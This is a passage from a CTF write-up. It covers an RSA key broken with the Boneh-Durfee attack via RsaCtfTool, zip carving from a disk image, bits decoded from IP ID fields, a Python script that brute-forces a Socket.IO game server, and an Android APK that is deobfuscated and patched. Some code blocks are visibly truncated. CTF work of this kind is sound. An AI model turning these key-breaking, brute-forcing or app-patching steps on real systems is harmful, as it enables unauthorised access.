``````0x3fb45bf4009bde3dad01054910efab2f9052ae049d4d770cc0255f33aafbc6c2a51a3d987ff77dff27ba0ff0e0098fdaed44c0d140923c577105c4a79623483293ecf2dfa6cd1ead8a2bd3a748aa167c83d532dcdc15fa93705fd866b8c5e86e311840f0fe589326b1a2c49712e818be237951d1503129253c7a8c246db3af132
``````

and an RSA public key.

Reading the keys, the first thing we noticed was that `e` was big, this means that `d` might be small. So we tried to break the key with the Boneh-Durfee attack:

``````RsaCtfTool --publickey key.pub --dumpkey --private --attack boneh_durfee
``````

and it worked!

``````d: 5752477793961718316974364565722959866214021715252358015981092755839491056537
p: 20659222008512759831277682223795162680334385991854286283853960400286241695014333963737657226297951042993329540999035446587802842157029340511729302434748273
q: 38676882448094023590775144095087527526209199110085295247166619083834674380076580348153808072855754145097868212826481975496548251654863618859218700354289311
``````

And we easily got the flag with:

``````RsaCtfTool --publickey key.pub --uncipherfile enc --attack boneh_durfee
``````

## Misc (4/5)

### Misc 100

The challenge comes with a disk image file and a password for some reason.

The mounted disk image is empty.

Since this is a misc challenge, I ran `strings` on it. `strings` returns gibberish and some interesting trash info:

``````[...]
[Trash Info]
Path=00033616.png
DeletionDate=2022-10-05T10:49:29
[Trash Info]
Path=myfile.zip
DeletionDate=2022-10-05T10:49:29
[...]
``````

Since this is a misc challenge, I ran `binwalk` on it. `binwalk` sucks and returned nothing useful.

Knowing that I’m probably looking for a zip file (I need to use that password somehow), I just opened the image file in an hex editor and looked for `PK`, the magic bytes for zip files. I found a small sequence of bytes that looked like a valid file.

I copied and pasted that sequence to a new file, and opened our brand new zip archive with the password in the description. The extracted file is a text file with the flag.

### Misc 200

The challenge description gives a host and an UDP port.

Sending some requests and doing some tests show that:

• The service is an echo server: text sent to it is sent back in multiple datagrams, one per text character.
• The echo back is capped to 108 characters.
• Multiple requests start separate sequences of 108 datagrams.

Since this is a misc challenge, I looked at the challenge description for guessing inspiration. The title says “hIP hIP”, so it’s probably related to the IP header.

Using Wireshark, I found out that the IP Identification field in the echo datagrams is always set to one of `0x3fff`, `0x7fff`, `0xbfff`, `0xffff`, when it’s supposed to be random. I can tell that only the first 2 bits change, so it’s probably exfiltrating some data 2 bits at a time. 2 bits * 108 datagrams = 216 bits = 27 bytes for the flag probably.

I dumped 108 Identification fields from Wireshark to a text field, filtered out the first two bits in Python, and finally copy-pasted the result in a binary to text converter to get the flag.

### Misc 300

The challenge is a game similar to Chrome’s dino game, where there are obstacles that you have to jump over or slide under.

It’s a simple HTML5 game, communicating to the server via`Socket.IO`.

We can see that within the `main.js` file:

``````const socket = io({path:"/b7f91f2e6e12123b14fdfa9187ea53af00f281ac/socket.io"});
``````

We then search where the game could send data to the server, as the flag was not in the client.

We found the following code that emit an event to the `socket`:

``````socket.emit("action", {
px: action.x,
ox: action.ox,
speed: this.speed,
seed: seed,
step: this.step,
type: action.type
});
``````

This corresponds to the traffic intercepted with Burp Suite (or inside the “Network” tab in the Devtools):

``````42["action",{"px":20.17500000000004,"ox":108.35000000000493,"speed":3.9999999999999787,"seed":2.2930437633190137,"step":0,"type":"J"}]
``````

The server replies with:

``````42["actionresponse","A"]
``````

Uhm, `actionresponse` is never mentioned in the code, so the game never processes it. Let’s try playing some more.

After playing a little bit, we noticed that sometimes the server replied with `actionresponse: 0` and `actionresponse: 1`.

We guessed that a bit may have been transmitted with each command.

Let’s write a simple script that allow us to send commands without playing the game:

``````#!/usr/bin/env python3

import socketio

sio = socketio.Client()

aaa = ""

@sio.on("*")
def catch_all(event, data):
global aaa
aaa += data

@sio.event
def connect():
print("I'm connected!")

@sio.event
def disconnect():
print("I'm disconnected!")

sio.connect(
socketio_path="b7f91f2e6e12123b14fdfa9187ea53af00f281ac/socket.io",
)

print("my sid is", sio.sid)

flag = ""

for x in range(1000):
sio.emit(
"action",
{
"px": 18.76000000000007,
"ox": 138.82000000000716,
"speed": 5.6499999999999435,
"seed": 0.6468621828291544,
"step": x,
"type": "J",
},
)
``````

Now we can obtain strings that looked like these:

``````011AAA110AAAA11AAAA01AAAA100AAAA00AAAA10AAAA110AAA111AAAA10AAAA10AAAA101AAAA01AAAA10AAAA011AAA110AAAA01AAAA10AAAA111AAAA01AAAA10AAAA011AAA101AAAA11AAAA10AAAA101AAAA00AAAA11AAAA010AAA100AAAA01AAAA00AAAA011AAAA01AAAA11AAAA110AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AA1A1AAA0A0AAA1AA1AAAAA0AAA0A1AAA0A1AAA0AA1AAA0A0AAA1A0AAA0AA0AAAAA1AAA1A0AAA1A0AAA0AA0AAA1A0AAA0A0AAA1AA1AA0AA1AAA1A0AAA1A0AAA0AA0AAA1A0AAA1A0AAA1AA1AA0AA0AAA1A0AAA0A1AAA1AA0AAA0A0AAA0A1AAA1AAAAA0AA1AAA1A1AAA1A0AAA1AA1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
``````

We noticed that the numbers matched between the strings and they stopped appearing after a while, so this could be our flag.

How does a flag start? With `{FLG:`, which converted to binary is `0111101101000110010011000100011100111010`

Some bits match! Looking good so far.

After that, we tried to bruteforce it, generating random speed values until we found a valid bit:

``````#!/usr/bin/env python3

import random
import socketio

sio = socketio.Client()

@sio.event
def connect():
print("I'm connected!")

@sio.event
def disconnect():
print("I'm disconnected!")

@sio.on("actionresponse")
def on_message(data):
global bit
bit = data

sio.connect(
socketio_path="b7f91f2e6e12123b14fdfa9187ea53af00f281ac/socket.io",
)

flag = ""
bit = "A"

for x in range(224):
while bit == "A":
sio.call(
"action",
{
"px": 18.76000000000007,
"ox": 138.82000000000716,
"speed": random.random() * 10,
"seed": random.random() * 2 * 3.14,
"step": x,
"type": random.choice(["J", "C"]),
},
)

flag += bit
bit = "A"
print(flag)
``````

After waiting for it to complete, we got the following binary string:

``````01111011010001100100110001000111001110100110110101111001010100010111010100110100011001000111001101000010011101010111001001101110010001110110100101101101011011010011001100110100010000100111001001100101001101000110101101111101
``````

And after converting it, we got the flag:

``````{FLG:myQu4dsBurnGimm34Bre4k}
``````

### Misc 500

We were provided with an APK, so the first thing we did was to install it on a phone or emulator, just to try it out.

We can see that two levels are locked. Let’s play first level.

Uh oh, the level seems broken. Let’s open JaDX to find out where the error is.

First, we open `AndroidManifest.xml` to see where the launcher activity is.

``````<application>
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
``````

We can see that `com.example.misc500adventure.F` is the launcher activity. There are two buttons, one opens the level selection screen and the other the about screen.

`com.example.misc500adventure.D`

``````public final void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_b);
this.f1859o = (Button) findViewById(R.id.button1);
this.f1860p = (Button) findViewById(R.id.button2);
this.f1861q = (Button) findViewById(R.id.button3);
try {
t(); // <--
} catch (IOException e2) {
e2.printStackTrace();
}
this.f1859o.setOnClickListener(this);
this.f1860p.setOnClickListener(this);
this.f1861q.setOnClickListener(this);
try {
s(); // <--
} catch (IOException | NoSuchAlgorithmException e3) {
e3.printStackTrace();
}
}
``````

`t()` and `s()` seem important. Let’s check them.

``````public final void t() {
InputStream openRawResource = getResources().openRawResource(R.raw.level01);
try {
FileOutputStream fileOutputStream = new FileOutputStream(getDir("LevelDir", 0).getAbsolutePath() + "/Level01.jar");
byte[] bArr = new byte[1024];
while (true) {
break;
}
}
fileOutputStream.close();
openRawResource.close();
openRawResource = getResources().openRawResource(R.raw.liblevel01);
try {
FileOutputStream fileOutputStream2 = new FileOutputStream(getDir("LevelSO", 0).getAbsolutePath() + "/liblevel01.so");
byte[] bArr2 = new byte[1024];
while (true) {
fileOutputStream2.close();
return;
}
}
} finally {
}
} finally {
}
}
``````

This code simply copies the resources under `res/raw/level01.jar` to `/data/data/com.example.misc500adventure/app_LevelDir/Level01.jar` and `res/raw/liblevel01.so` to `/data/data/com.example.misc500adventure/app_LevelSO/liblevel01.so`.

``````public final void s() {
Button button;
String str;
getApplicationContext().getSharedPreferences("LevelCompleted", 0);
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
for (int i2 = 1; i2 <= 3; i2++) {
File[] listFiles = new File(getDir("LevelDir", 0).getAbsolutePath()).listFiles(new a(i2));
if (listFiles.length > 0 && listFiles[0].exists()) {
if (i2 == 1) {
this.f1859o.setEnabled(true);
button = this.f1859o;
str = "Play Level 1";
} else if (i2 == 2) {
FileInputStream fileInputStream = new FileInputStream(listFiles[0]);
byte[] bArr = new byte[1024];
while (true) {
break;
}
}
fileInputStream.close();
byte[] digest = messageDigest.digest();
StringBuilder sb = new StringBuilder();
for (byte b3 : digest) {
sb.append(Integer.toString((b3 & 255) + 256, 16).substring(1));
}
if (sb.toString().equals("6b68c21e6979ccb643bb1490584a148e")) {
this.f1860p.setEnabled(true);
button = this.f1860p;
str = "Play Level 2";
} else {
button = this.f1860p;
str = "Checksum Verification Failed";
}
} else if (i2 == 3) {
this.f1861q.setEnabled(true);
button = this.f1861q;
str = "Play Level 3";
}
button.setText(str);
}
}
}

public class a implements FilenameFilter {

/* renamed from: a  reason: collision with root package name */
public final /* synthetic */ int f1862a;

public a(int i2) {
this.f1862a = i2;
}

@Override // java.io.FilenameFilter
public final boolean accept(File file, String str) {
StringBuilder g2 = androidx.activity.result.a.g("Level0");
g2.append(this.f1862a);
return str.startsWith(g2.toString());
}
}
``````

This piece of code lists the files under `/data/data/com.example.misc500adventure/app_LevelDir/`. Then, it iterates from `1` to `3` and filters the files by `new a(i2)`. Basically, if a file that starts with `Level0 + i` exists, it will enable the button.

So we need to rename `/data/data/com.example.misc500adventure/app_LevelDir/Level01.jar` to `/data/data/com.example.misc500adventure/app_LevelDir/Level01.apk` (using root

Still inside `com.example.misc500adventure.D` we can find the `onClick` method:

``````public void onClick(View view) {
Intent intent;
String str;
switch (view.getId()) {
case R.id.button1 /* 2131230822 */:
intent = new Intent(view.getContext(), C.class);
str = "Level01";
break;
case R.id.button2 /* 2131230823 */:
intent = new Intent(view.getContext(), C.class);
str = "Level02";
break;
case R.id.button3 /* 2131230824 */:
intent = new Intent(view.getContext(), C.class);
str = "Level03";
break;
default:
return;
}
intent.putExtra("LevelNumber", str);
view.getContext().startActivity(intent);
}
``````

When you click a button, it will start the new activity `C` with an extra `LevelNumber` based on the button you clicked.

Let’s dive into `com.example.misc500adventure.C`:

Oh no, there are no strings! Most probably they obfuscated this class.

``````public String f1853o = e.r(-40074581078310L);
public String f1855q = e.r(-40078876045606L);
public String f1856r = e.r(-40065991143718L);
public String f1857s = e.r(-40070286111014L);
``````

Based on our experience, we can quickly tell that it’s obfuscated with Paranoid, but it can be easily deobfuscated with paranoid-deobfuscator. We can get a deobfuscated APK with this tool.

The strings were:

``````b''
b''
b''
b'ab396cd2b1d8a7d4fb5c1e137224004a0261976d'
b'gameStory'
b''
b''
b''
b'response'
b'endpoint'
b'SUCCEDED:'
b'LevelCompleted'
b'Status'
b''
b'Level03'
b'Level02'
b'Level01'
b'SecretEnding.zip'
b'Level03.apk'
b''
b'Level02.apk'
b''
b'Common Error'
b'Settings'
b'LevelNumber'
b'com.example.'
b'.'
b'returnFirstOption'
b'returnSecondOption'
b'returnThirdOption'
b'returnFourthOption'
b'returnQuestImage'
b'returnStory'
b'LevelDir'
b'LevelDir'
b'/'
b'.apk'
b'drawable'
b'Level03'
b'The level seems to be broken... How pity! Maybe you should try to fix it.'
``````

The gamebox URL, `ab396cd2b1d8a7d4fb5c1e137224004a0261976d` and `SecretEnding.zip` seems promising. We’ve also found `The level seems to be broken... How pity! Maybe you should try to fix it.`, the error message we got in the beginning.

Now with the deobfuscated APK we can work better.

``````public final void onCreate(Bundle bundle) {
TextView textView;
long j2;
super.onCreate(bundle);
setContentView(R.layout.activity_a);
Context applicationContext = getApplicationContext();
e.r(-39988681732390L);
applicationContext.getSharedPreferences("Settings", 0);
e.r(-39889897484582L);
this.f1856r = this.f1855q + this.f1857s;
this.t = (ImageView) findViewById(R.id.imageViewStory);
this.f1858u = (TextView) findViewById(R.id.textView);
Intent intent = getIntent();
e.r(-39627904479526L);
this.f1853o = intent.getStringExtra("LevelNumber");
StringBuilder sb = new StringBuilder();
e.r(-40641516761382L);
sb.append("com.example.");
sb.append(this.f1853o.toLowerCase(Locale.ROOT));
e.r(-40559912382758L);
sb.append(".");
sb.append(this.f1853o);
String sb2 = sb.toString();
e.r(-40551322448166L);
e.r(-40508372775206L);
e.r(-40452538200358L);
e.r(-40375228789030L);
e.r(-40336574083366L);
e.r(-40254969704742L);
e.r(-40169070358822L);
File dir = getDir("LevelDir", 0);
StringBuilder sb3 = new StringBuilder();
e.r(-41169797738790L);
sb3.append(getDir("LevelDir", 0).getAbsolutePath());
e.r(-41225632313638L);
sb3.append("/");
sb3.append(this.f1853o);
e.r(-41217042379046L);
sb3.append(".apk");
String sb4 = sb3.toString();
if (!new File(sb4).exists()) {
String str = this.f1853o;
e.r(-41156912836902L);
if (str.equals("Level03")) {
textView = this.f1858u;
j2 = -41053833621798L;
} else {
textView = this.f1858u;
j2 = -40774660747558L;
}
e.r(j2);
textView.setText("The level seems to be broken... How pity! Maybe you should try to fix it.");
return;
}
try {
Button button = (Button) findViewById(R.id.button1);
button.setText((String) this.f1854p.getMethod("returnFirstOption", new Class[0]).invoke(newInstance, new Object[0]));
Button button2 = (Button) findViewById(R.id.button2);
button2.setText((String) this.f1854p.getMethod("returnSecondOption", new Class[0]).invoke(newInstance, new Object[0]));
Button button3 = (Button) findViewById(R.id.button3);
button3.setText((String) this.f1854p.getMethod("returnThirdOption", new Class[0]).invoke(newInstance, new Object[0]));
Button button4 = (Button) findViewById(R.id.button4);
button4.setText((String) this.f1854p.getMethod("returnFourthOption", new Class[0]).invoke(newInstance, new Object[0]));
Context context = this.t.getContext();
Resources resources = context.getResources();
e.r(-41101078262054L);
int identifier = resources.getIdentifier((String) this.f1854p.getMethod("returnQuestImage", new Class[0]).invoke(newInstance, new Object[0]), "drawable", context.getPackageName());
this.v = identifier;
this.t.setImageResource(identifier);
((TextView) findViewById(R.id.textView)).setText((String) this.f1854p.getMethod("returnStory", new Class[0]).invoke(newInstance, new Object[0]));
button.setOnClickListener(this);
button2.setOnClickListener(this);
button3.setOnClickListener(this);
button4.setOnClickListener(this);
} catch (ClassNotFoundException | IllegalAccessException | IllegalArgumentException | InstantiationException | NoSuchMethodException | InvocationTargetException e2) {
e2.printStackTrace();
}
}
``````

Inside this `onCreate`, the app will load the level apk by building the correct path like this `getDir("LevelDir", 0).getAbsolutePath() + / + LevelNumber_intent_extra + .apk` and its class like this `com.example. + LevelNumber_intent_extra.toLowerCase() + . + LevelNumber_intent_extra` (for example: Level01 become `com.example.level01.Level01`), using `DexClassLoader`.

Here’s `Level01` as an example:

``````public class Level01 {
public String returnQuestImage() {
return "dungeongate";
}

public String returnFirstOption() {
return "Try going through the dark corridor";
}

public String returnSecondOption() {
return "Try lighting one of the torch";
}

public String returnThirdOption() {
return "Try throwing an object across the corridor!";
}

public String returnFourthOption() {
return "Go back to home...";
}

public String returnStory() {
return "As soon as you enter the dungeon you find yourself with a long dark corridor in front of you.... There is little light.";
}

public String gameStory(String str) {
return "{\"Level\":\"Level01\",\"Choise\":\"" + str + "\"}";
}
}
``````

`returnQuestImage` is the image, then there are the four options for the buttons, the story and `gameStory` is the JSON that the app will send to the server.

``````public void onClick(View view) {
Context context;
long j2;
if (view.getId() == R.id.button4) {
view.getContext().startActivity(new Intent(view.getContext(), D.class));
return;
}
try {
Object newInstance = this.f1854p.newInstance();
Class<?> cls = this.f1854p;
e.r(-41521985057062L);
Method method = cls.getMethod("gameStory", String.class);
Object[] objArr = {((Button) findViewById(view.getId())).getText()};
b bVar = new b();
bVar.execute(this.f1856r, (String) method.invoke(newInstance, objArr));
e.r(-41547754860838L);
JSONObject jSONObject = new JSONObject(bVar.get());
e.r(-41569229697318L);
e.r(-41573524664614L);
e.r(-41560639762726L);
String string = jSONObject.getString("response");
e.r(-41461855514918L);
String string2 = jSONObject.getString("endpoint");
this.f1858u.setText(string);
e.r(-41380251136294L);
if (!string.startsWith("SUCCEDED:")) {
e.r(-42033086165286L);
this.t.setImageResource(R.drawable.hastygrave);
return;
} else {
this.t.setImageResource(this.v);
return;
}
}
this.t.setImageResource(R.drawable.biceps);
Context applicationContext = getApplicationContext();
e.r(-41406020940070L);
SharedPreferences.Editor edit = applicationContext.getSharedPreferences("LevelCompleted", 0).edit();
StringBuilder sb = new StringBuilder();
sb.append(this.f1853o);
e.r(-41350186365222L);
sb.append("Status");
edit.putBoolean(sb.toString(), true);
edit.apply();
e.r(-41242812182822L);
a aVar = new a();
e.r(-42290784203046L);
String str = this.f1853o;
char c = 65535;
switch (str.hashCode()) {
case 1734436965:
e.r(-42295079170342L);
if (str.equals("Level01")) {
c = 0;
break;
}
break;
case 1734436966:
e.r(-42329438908710L);
if (str.equals("Level02")) {
c = 1;
break;
}
break;
case 1734436967:
e.r(-42226359693606L);
if (str.equals("Level03")) {
c = 2;
break;
}
break;
}
if (c == 0) {
e.r(-42260719431974L);
aVar.execute(this.f1855q + string2, "Level02.apk", e.r(-42174820086054L));
} else if (c == 1) {
e.r(-42161935184166L);
aVar.execute(this.f1855q + string2, "Level03.apk", e.r(-42076035838246L));
} else if (c != 2) {
} else {
e.r(-42080330805542L);
}
} catch (IllegalAccessException | InstantiationException | InterruptedException | NoSuchMethodException | ExecutionException | JSONException unused) {
context = view.getContext();
j2 = -42041676099878L;
e.r(j2);
Toast.makeText(context, "Common Error", 1).show();
} catch (InvocationTargetException unused2) {
context = view.getContext();
j2 = -41960071721254L;
e.r(j2);
Toast.makeText(context, "Common Error", 1).show();
}
}
``````

When you click a button, it will send a JSON POST request to `http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/ab396cd2b1d8a7d4fb5c1e137224004a0261976d` with the `gameStory` String returned from the loaded level APK.

Let’s use this simple script to try the `Level01` answers.

``````import requests

def send(level, choise):
r = requests.post(
json={"Level": level, "Choise": choise},
)
return r.json()

print(send("Level01", "Try going through the dark corridor"))
print(send("Level01", "Try lighting one of the torch"))
print(send("Level01", "Try throwing an object across the corridor!"))
``````
``````{'endpoint': 'none', 'response': "DEAD: The floor opened up, leaving you to fall into a pit of spikes that skewered you, that's very much a cliché isn't it?"}
{'endpoint': 'none', 'response': 'You ligh torch... Seems pretty normal'}
{'endpoint': '738cdd7ae1318b812d3fd6b758e75752fc88e8d6', 'response': 'SUCCEDED: The floor has opened, giving you a glimpse of a deep pit; however, it appears that a door on the right has just opened.'}
``````

We got a valid response with the last one!

Let’s try with `http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/738cdd7ae1318b812d3fd6b758e75752fc88e8d6`. It’s another APK, probably Level02, let’s open it with JaDX.

``````public class Level02 {

public String returnQuestImage() {
return "gargoyle";
}

public String returnFirstOption() {
return "Take courage and fight it!";
}

public String returnSecondOption() {
return "Try offering him flowers!";
}

public String returnThirdOption() {
return "Try to make friend with him!";
}

public String returnFourthOption() {
return "Go back to home...";
}

public String returnStory() {
return "A monstrous gargoyle is standing in your way! How lucky you are!";
}

public String gameStory(String choise) throws JSONException {
Log.d("TODO", "Bob I think you forgot to add the real answer. It should be the name of the weapon, I don't remember which one you chose, when you're done return it from <backend>/getWeapon");
return new JSONObject().put("Level", "Level02").put("Choise", choise).toString();
}
}
``````

There is a TODO that says that the answer is not in here. Let’s try with `http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/getWeapon`. It downloads a file name `halberd.png`. Could this be the real answer?

``````import requests

def send(level, choise):
r = requests.post(
json={"Level": level, "Choise": choise},
)
return r.json()

print(send("Level02", "halberd"))
``````
``````{'endpoint': 'bf850ea44b0542ff96645c9d0e4160127d1996de', 'response': "SUCCEDED: Wait! How did you get here? Well, great! I'm downloading the level 3 files for you..."}
``````

Yes, it is! Let’s go further. Another APK, same thing.

``````public class Level03 {
public native String testAES();

public String returnQuestImage() {
return "brutalhelm";
}

public String returnFirstOption() {
return "Fight him to death!";
}

public String returnSecondOption() {
return "Throw the repaired weapon at him!";
}

public String returnThirdOption() {
return "Run away!";
}

public String returnFourthOption() {
return "Go back to home...";
}

public String returnStory() {
return "My god! This is the final boss! (Yes this game is quite short...) Make your choice hero!";
}

public String gameStory(String choise) throws JSONException {
if (!choise.equals("")) {
try {
Log.d("TODO", "Bob I think you forgot to add the path to the native library!");
String value = testAES();
System.out.println(value);
JSONObject put = new JSONObject().put("Level", "LevelEnding");
} catch (Exception | UnsatisfiedLinkError e) {
e.printStackTrace();
return new JSONObject().put("Level", "Level03").put("Choise", choise).toString();
}
}
return new JSONObject().put("Level", "Level03").put("Choise", "My god! This is the final boss! (Yes this game is quite short...) Make your choice hero!").toString();
}
}
``````

This time there is also a `native testAES()`, so there is probably a native lib inside this APK. We found `liblevel03.so`.

Let’s try running it like this. Nope, it doesn’t work. Why? Because of this:

``````System.load("TODO");
``````

You need to call `System.load()` with an absolute path poiting to a native library.

Let’s patch the APK using `Apktool`. First, we decode it using:

``````apktool d -p . -r level03.apk
``````

Then, we search for “TODO”:

``````grep -R TODO level03
level03/smali_classes4/com/example/level03/Level03.smali:    const-string v0, "TODO"
``````

Lastly, edit `level03/smali_classes4/com/example/level03/Level03.smali` from this:

``````.line 43
``````

to this:

``````.line 43
``````

Let’s copy the patched APK and the `.so` library and run the app.

Let’s check the logcat using `adb logcat`:

``````D TODO    : Bob I think you forgot to add the path to the native library!
D MyLib   : ThisIs_MagicBook
D MyLib   : ޏs�1�&���lr�ThisIs_MagicBook
D MyLib   :
D MyLib   : CBC decrypt:
``````

Here it is, our decrypted answer. Let’s send it to the server.

``````import requests

def send(level, choise):
r = requests.post(
json={"Level": level, "Choise": choise},
)
return r.json()

``````{'endpoint': 'None', 'response': '{FLG:wh4t_a_h4ppY_3nd1ng_dud3!}'}